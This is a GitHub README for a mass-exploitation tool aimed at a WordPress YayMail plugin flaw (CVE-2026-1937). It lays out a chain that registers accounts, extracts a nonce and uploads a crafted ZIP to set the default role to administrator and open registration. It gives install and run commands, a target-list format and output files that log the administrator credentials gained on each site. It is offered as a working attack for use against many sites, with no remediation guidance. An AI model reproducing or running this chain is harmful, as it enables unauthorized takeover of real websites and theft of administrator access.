---

🔴 Vulnerability Overview

CVE-2026-1937 — Missing Authorization → Arbitrary Options Update → Privilege Escalation

Field	Details
CVE ID	CVE-2026-1937
Severity	HIGH — CVSS v3.1 Score: 7.2
Vector	CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
CNA	Wordfence
Researcher	Daniel Basta (whizzu) — NASK PIB
Publicly Published	February 17, 2026
Last Updated	March 27, 2026
Affected Software	YayMail – WooCommerce Email Customizer Plugin for WordPress
Affected Versions	All versions up to and including 4.3.2
Vulnerability Type	Missing Authorization → Unauthorized Arbitrary Options Update → Privilege Escalation
Authentication Required	Yes — Shop Manager level or above
CWE	CWE-862: Missing Authorization

Description:
The YayMail – WooCommerce Email Customizer plugin for WordPress is vulnerable to unauthorized modification of data leading to Privilege Escalation in all versions up to and including 4.3.2. The yaymail_import_state AJAX action is registered without any server-side capability check, allowing authenticated attackers with Shop Manager-level access or above to invoke it freely. By uploading a crafted ZIP import file, the attacker can silently overwrite arbitrary WordPress site options — including setting the default new user registration role to administrator and enabling open public registration. Once these options are injected, any visitor can self-register on the site and receive a full WordPress Administrator account, resulting in complete site compromise.

---

🛠️ Tool Description

This is a Proof-of-Concept (PoC) mass exploitation chain targeting WordPress + WooCommerce installations running a vulnerable version of the YayMail plugin. The tool implements a full end-to-end attack: WooCommerce registration → login → YayMail nonce extraction → yaymail_import_state exploit → admin verification.

🔗 Full Attack Chain

[Phase 1 — Registration]
  GET  /my-account/  →  Extract WooCommerce register nonce
  POST /my-account/  →  Register new account (WooCommerce form)
  → Save credentials to reg.txt

          ↓

[Phase 2 — Login]
  POST /wp-login.php         →  Try WordPress native login
  POST /my-account/ (WooC.)  →  Fallback WooCommerce login
  → Establish authenticated session

          ↓

[Phase 3 — Admin Pre-check]
  GET /wp-admin/  →  If already admin, skip to result

          ↓

[Phase 4 — YayMail Exploit]
  GET /wp-admin/admin.php?page=yaymail-settings
  → Extract: ajax_url + nonce

  POST /wp-admin/admin-ajax.php
  action=yaymail_import_state
  nonce=<extracted_nonce>
  import_file=yaymail_backup.zip
  → Override WordPress options:
    · default_role = administrator
    · users_can_register = 1

          ↓

[Phase 5 — Admin Verification]
  GET /wp-admin/        → Check adminmenu / wp-admin-bar
  GET /wp-admin/users.php   → Confirm manage_options access

          ↓

[Save to Nx_admin.txt]
  Format: [timestamp] https://target.com user:<u> pass:<p>

---

📋 Requirements

System Requirements

• Python 3.8 or higher
• Linux / Windows / macOS
• yaymail_backup.zip — crafted import payload (required)

Python Dependencies

pip install requests urllib3 rich

Or via requirements file:

pip install -r requirements.txt

requirements.txt:

requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0

---

🚀 Installation

# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-1937.git
cd CVE-2026-1937

# Install dependencies
pip install -r requirements.txt

# Place your crafted import payload in the same directory
cp /path/to/yaymail_backup.zip .

# Run the tool
python3 CVE-2026-1937.py

---

⚙️ Usage

Basic Run

python3 CVE-2026-1937.py

The tool uses a fully interactive terminal interface powered by Rich.

---

🗂️ Target List Format

Create a plain text file (default: list.txt) — one target per line:

https://target1.com
https://target2.com
http://target3.com
target4.com

Targets without http:// or https:// are automatically prefixed with https://.

---

🖥️ Interactive Prompts

Username   [Nx_admin]:          Nx_admin
Password   [Nx_adminSA]:        Nx_adminSA
Email      [[email protected]]: [email protected]
Targets file [list.txt]:        list.txt
Threads [3]:                    5
HTTP timeout (seconds) [10]:    10

---

📦 Payload File — yaymail_backup.zip

The exploit requires a crafted YayMail import ZIP file that overrides the following WordPress options when imported:

WordPress Option	Injected Value
default_role	administrator
users_can_register	1

⚠️ The tool will refuse to run if yaymail_backup.zip is not present in the working directory.

---

🔬 Vulnerable AJAX Endpoint

POST /wp-admin/admin-ajax.php

action=yaymail_import_state
nonce=<extracted_from_yaymail_settings_page>
import_file=yaymail_backup.zip  (multipart upload)

Root Cause:
The yaymail_import_state handler does not call current_user_can() or any equivalent capability check before processing the import. Any user holding the shop_manager role (or above) can invoke this action freely and overwrite arbitrary wp_options table entries via the ZIP import mechanism.

---

🔍 WooCommerce Pages Probed

The tool automatically scans the following paths for the registration and login forms:

/my-account/       /my_account/      /My-account/
/account/          /myaccount/       /customer-login/
/login/            /register/        /sss/

---

📁 Output Files

File	Description
reg.txt	All successful WooCommerce registrations with credentials
Nx_admin.txt	All confirmed administrator escalations

✅ Output Format

reg.txt:

[2026-03-01 14:22:10] https://target.com user:Nx_admin email:[email protected] pass:Nx_adminSA

Nx_admin.txt:

[2026-03-01 14:22:18] https://target.com user:Nx_admin pass:Nx_adminSA | yaymail import

---

🖥️ Terminal Output Sample

╔══════════════════════════════════════════════════════════════════╗
║  WooCommerce · YayMail · Mass Exploit Chain                      ║
║  By: Nxploited  |  GitHub: github.com/Nxploited  |  @Kxploit    ║
╚══════════════════════════════════════════════════════════════════╝